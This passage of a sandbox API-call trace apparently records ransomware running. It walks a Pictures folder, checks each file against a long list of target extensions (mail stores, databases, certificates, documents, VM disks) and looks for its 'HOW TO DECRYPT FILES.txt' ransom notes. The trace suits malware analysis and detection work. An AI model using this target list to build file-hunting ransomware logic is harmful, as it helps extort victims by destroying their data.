[0091.134] lstrlenA (lpString="*.qbo") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qbx") returned 0 [0091.134] lstrlenA (lpString="*.qbx") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qba") returned 0 [0091.134] lstrlenA (lpString="*.qba") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qby") returned 0 [0091.134] lstrlenA (lpString="*.qby") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qbj") returned 0 [0091.134] lstrlenA (lpString="*.qbj") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.ofx") returned 0 [0091.134] lstrlenA (lpString="*.ofx") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qif") returned 0 [0091.134] lstrlenA (lpString="*.qif") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mye") returned 0 [0091.134] lstrlenA (lpString="*.mye") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mbox") returned 0 [0091.134] lstrlenA (lpString="*.mbox") returned 6 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.eml") returned 0 [0091.134] lstrlenA (lpString="*.eml") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.pst") returned 0 [0091.135] lstrlenA (lpString="*.pst") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.ost") returned 0 [0091.135] lstrlenA (lpString="*.ost") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.idx") returned 0 [0091.135] lstrlenA (lpString="*.idx") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.dbx") returned 0 [0091.135] lstrlenA (lpString="*.dbx") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.sql") returned 0 [0091.135] lstrlenA (lpString="*.sql") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mdb") returned 0 [0091.135] lstrlenA (lpString="*.mdb") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.fdb") returned 0 [0091.135] lstrlenA (lpString="*.fdb") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.wab") returned 0 [0091.135] lstrlenA (lpString="*.wab") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.dat") returned 0 [0091.135] lstrlenA (lpString="*.dat") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.txt") returned 0 [0091.135] lstrlenA (lpString="*.txt") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.jpeg") returned 0 [0091.135] lstrlenA (lpString="*.jpeg") returned 6 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.jpg") returned 0 [0091.135] lstrlenA (lpString="*.jpg") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.png") returned 0 [0091.135] lstrlenA (lpString="*.png") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.php") returned 0 [0091.135] lstrlenA (lpString="*.php") returned 5 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.cs") returned 0 [0091.135] lstrlenA (lpString="*.cs") returned 4 [0091.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.cpp") returned 0 [0091.135] lstrlenA (lpString="*.cpp") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.rar") returned 0 [0091.136] lstrlenA (lpString="*.rar") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.zip") returned 0 [0091.136] lstrlenA (lpString="*.zip") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.html") returned 0 [0091.136] lstrlenA (lpString="*.html") returned 6 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.htm") returned 0 [0091.136] lstrlenA (lpString="*.htm") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.xlsx") returned 0 [0091.136] lstrlenA (lpString="*.xlsx") returned 6 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.xls") returned 0 [0091.136] lstrlenA (lpString="*.xls") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mp4") returned 0 [0091.136] lstrlenA (lpString="*.mp4") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.ppt") returned 0 [0091.136] lstrlenA (lpString="*.ppt") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.pptx") returned 0 [0091.136] lstrlenA (lpString="*.pptx") returned 6 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.doc") returned 0 [0091.136] lstrlenA (lpString="*.doc") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.dot") returned 0 [0091.136] lstrlenA (lpString="*.dot") returned 5 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.docx") returned 0 [0091.136] lstrlenA (lpString="*.docx") returned 6 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.7z") returned 0 [0091.136] lstrlenA (lpString="*.7z") returned 4 [0091.136] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.tar") returned 0 [0091.136] lstrlenA (lpString="*.tar") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.bz2") returned 0 [0091.137] lstrlenA (lpString="*.bz2") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.gz") returned 0 [0091.137] lstrlenA (lpString="*.gz") returned 4 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mkv") returned 0 [0091.137] lstrlenA (lpString="*.mkv") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.eml") returned 0 [0091.137] lstrlenA (lpString="*.eml") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.msg") returned 0 [0091.137] lstrlenA (lpString="*.msg") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.edb") returned 0 [0091.137] lstrlenA (lpString="*.edb") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.accdb") returned 0 [0091.137] lstrlenA (lpString="*.accdb") returned 7 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.odb") returned 0 [0091.137] lstrlenA (lpString="*.odb") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.java") returned 0 [0091.137] lstrlenA (lpString="*.java") returned 6 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.asm") returned 0 [0091.137] lstrlenA (lpString="*.asm") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.pfx") returned 0 [0091.137] lstrlenA (lpString="*.pfx") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.pem") returned 0 [0091.137] lstrlenA (lpString="*.pem") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.p12") returned 0 [0091.137] lstrlenA (lpString="*.p12") returned 5 [0091.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.gpg") returned 0 [0091.138] lstrlenA (lpString="*.gpg") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.vsd") returned 0 [0091.138] lstrlenA (lpString="*.vsd") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.odg") returned 0 [0091.138] lstrlenA (lpString="*.odg") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.raw") returned 0 [0091.138] lstrlenA (lpString="*.raw") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.nef") returned 0 [0091.138] lstrlenA (lpString="*.nef") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.svg") returned 0 [0091.138] lstrlenA (lpString="*.svg") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.psd") returned 0 [0091.138] lstrlenA (lpString="*.psd") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.vmx") returned 0 [0091.138] lstrlenA (lpString="*.vmx") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.vmdk") returned 0 [0091.138] lstrlenA (lpString="*.vmdk") returned 6 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.vdi") returned 0 [0091.138] lstrlenA (lpString="*.vdi") returned 5 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.lay6") returned 0 [0091.138] lstrlenA (lpString="*.lay6") returned 6 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mpeg") returned 0 [0091.138] lstrlenA (lpString="*.mpeg") returned 6 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.djvu") returned 0 [0091.138] lstrlenA (lpString="*.djvu") returned 6 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.tiff") returned 0 [0091.138] lstrlenA (lpString="*.tiff") returned 6 [0091.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.backup") returned 0 [0091.139] lstrlenA (lpString="*.backup") returned 8 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.pdf") returned 0 [0091.139] lstrlenA (lpString="*.pdf") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.cert") returned 0 [0091.139] lstrlenA (lpString="*.cert") returned 6 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.docm") returned 0 [0091.139] lstrlenA (lpString="*.docm") returned 6 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.xlsm") returned 0 [0091.139] lstrlenA (lpString="*.xlsm") returned 6 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.dwg") returned 0 [0091.139] lstrlenA (lpString="*.dwg") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.nd") returned 0 [0091.139] lstrlenA (lpString="*.nd") returned 4 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.tlg") returned 0 [0091.139] lstrlenA (lpString="*.tlg") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.lgb") returned 0 [0091.139] lstrlenA (lpString="*.lgb") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mov") returned 0 [0091.139] lstrlenA (lpString="*.mov") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.xdw") returned 0 [0091.139] lstrlenA (lpString="*.xdw") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.ods") returned 0 [0091.139] lstrlenA (lpString="*.ods") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.wav") returned 0 [0091.139] lstrlenA (lpString="*.wav") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.mp3") returned 0 [0091.139] lstrlenA (lpString="*.mp3") returned 5 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.aiff") returned 0 [0091.139] lstrlenA (lpString="*.aiff") returned 6 [0091.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.flac") returned 0 [0091.139] lstrlenA (lpString="*.flac") returned 6 [0091.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.m4a") returned 0 [0091.140] lstrlenA (lpString="*.m4a") returned 5 [0091.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.csv") returned 0 [0091.140] lstrlenA (lpString="*.csv") returned 5 [0091.140] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a683d0, ftCreationTime.dwHighDateTime=0x1d5e67e, ftLastAccessTime.dwLowDateTime=0x68615620, ftLastAccessTime.dwHighDateTime=0x1d5df68, ftLastWriteTime.dwLowDateTime=0x68615620, ftLastWriteTime.dwHighDateTime=0x1d5df68, nFileSizeHigh=0x0, nFileSizeLow=0xa22, dwReserved0=0x0, dwReserved1=0x0, cFileName="KTqQ.gif", cAlternateFileName="")) returned 1 [0091.140] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0091.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="KTqQ.gif") returned -1 [0091.140] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="KTqQ.gif") returned -1 [0091.140] lstrcmpiA (lpString1="", lpString2="KTqQ.gif") returned -1 [0091.140] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif") returned="KqwonYPIOsIk.gif" [0091.140] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" [0091.140] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="" [0091.140] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" [0091.140] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\how to decrypt files.txt")) returned 0x20 [0091.140] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="KTqQ.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif" [0091.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.ems") returned 0 [0091.140] lstrlenA (lpString="*.ems") returned 5 [0091.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.db") returned 0 [0091.140] lstrlenA (lpString="*.db") returned 4 [0091.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.dbf") returned 0 [0091.140] lstrlenA (lpString="*.dbf") returned 5 [0091.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.myox") returned 0 [0091.140] lstrlenA (lpString="*.myox") returned 6 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.myo") returned 0 [0091.141] lstrlenA (lpString="*.myo") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qbw") returned 0 [0091.141] lstrlenA (lpString="*.qbw") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qbb") returned 0 [0091.141] lstrlenA (lpString="*.qbb") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qbm") returned 0 [0091.141] lstrlenA (lpString="*.qbm") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qbo") returned 0 [0091.141] lstrlenA (lpString="*.qbo") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qbx") returned 0 [0091.141] lstrlenA (lpString="*.qbx") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qba") returned 0 [0091.141] lstrlenA (lpString="*.qba") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qby") returned 0 [0091.141] lstrlenA (lpString="*.qby") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qbj") returned 0 [0091.141] lstrlenA (lpString="*.qbj") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.ofx") returned 0 [0091.141] lstrlenA (lpString="*.ofx") returned 5 [0091.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KTqQ.gif", pszSpec="*.qif") returned 0 [0091.141] lstrlenA 